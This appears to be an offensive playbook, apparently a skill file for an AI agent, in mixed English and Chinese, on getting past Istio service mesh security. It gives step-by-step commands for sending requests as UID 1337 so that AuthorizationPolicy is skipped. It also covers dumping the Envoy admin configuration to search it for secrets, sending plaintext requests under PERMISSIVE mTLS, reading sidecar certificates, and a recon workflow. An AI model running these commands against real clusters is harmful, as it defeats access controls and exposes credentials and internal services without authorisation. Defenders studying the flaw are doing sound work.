Istio implements traffic management and security policies through the Envoy sidecar. But there is a fundamental design flaw in Istio's architecture that can be exploited: Envoy runs as UID 1337, and the iptables rules exclude traffic from UID 1337 to avoid an infinite loop—this means requests sent as that UID completely bypass Envoy, and all Istio policies no longer take effect.
Core technique: UID 1337 bypass
Istio's iptables rules exclude outbound traffic from UID 1337 from interception (otherwise Envoy's own outbound traffic would also be intercepted, forming an infinite loop). This design decision means:
正常流量: Pod → iptables → Envoy (策略检查) → 目标
UID 1337: Pod → iptables → (跳过 Envoy) → 直接到达目标
Exploitation steps
# 1. 确认 istio 用户存在
grep 1337 /etc/passwd
# istio:x:1337:1337::/home/istio:/bin/sh
2. Switch to the istio user
su istio
orsu -s /bin/sh istio
3. Send requests as istio (bypassing AuthorizationPolicy)curl ..svc.cluster.local
4. If su is unavailable, try nsenter or runuserrunuser -u istio -- curl
> 参考: https://github.com/istio/istio/issues/4286
### AuthorizationPolicy DENY 绕过示例
当策略禁止特定 HTTP 方法时:
```yaml
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
spec:
action: DENY
rules:
- to:
- operation:
methods: ["POST", "GET"]
- ❌ Switch HTTP Method (PATCH/PUT) — usually returns 400
- ✅ Send requests as UID 1337 — completely bypasses Envoy, policies do not take effect
Other Istio exploitation techniques
Envoy admin interface
# Envoy admin interface (默认 15000)
curl localhost:15000/
curl localhost:15000/config_dump # 完整配置(可能含 secret)
curl localhost:15000/clusters # 上游集群信息
curl localhost:15000/listeners # 监听器配置
curl localhost:15000/stats # 统计信息
# Pilot debug 接口 (默认 15014)
curl localhost:15014/debug/endpointz
curl localhost:15014/debug/configz
mTLS downgrade
# 如果 PeerAuthentication 设为 PERMISSIVE(而非 STRICT)
# 可以发送不带 mTLS 的明文请求
curl http://<service>:<port> # 明文 HTTP 可能被接受
Exploiting Sidecar resources
The Envoy sidecar may have cached mTLS certificates and cluster information; combined with Skill(skill="k8s-sidecar-attack") for further exploitation.
ls /etc/certs/ 2>/dev/null
ls /var/run/secrets/istio/ 2>/dev/null
cat /var/run/secrets/istio/root-cert.pem 2>/dev/null
Reconnaissance process
# 1. 确认 Istio 存在
env | grep -i istio
ls /var/run/secrets/istio/ 2>/dev/null
curl -s localhost:15000/server_info 2>/dev/null | head -5
# 2. 发现目标服务
k8spider scan -subnet <service-cidr>
# 3. 直接访问(测试是否被 AuthorizationPolicy 阻止)
curl -v <target-service>
# 如果返回 403 RBAC access denied → 说明有 AuthorizationPolicy
# 4. 尝试 UID 1337 绕过
su istio -c "curl <target-service>"
# 5. 检查 Envoy 管理接口
curl localhost:15000/config_dump | grep -i secret
Key points
- UID 1337 = Istio's "god mode" — traffic does not pass through Envoy and is not controlled by any Istio policy
- The Envoy admin interface is by default at
localhost:15000, which may leak secrets and cluster topology PeerAuthentication: PERMISSIVEallows plaintext communication- Istio's
AuthorizationPolicyonly takes effect at the Envoy layer; bypassing Envoy = bypassing all policies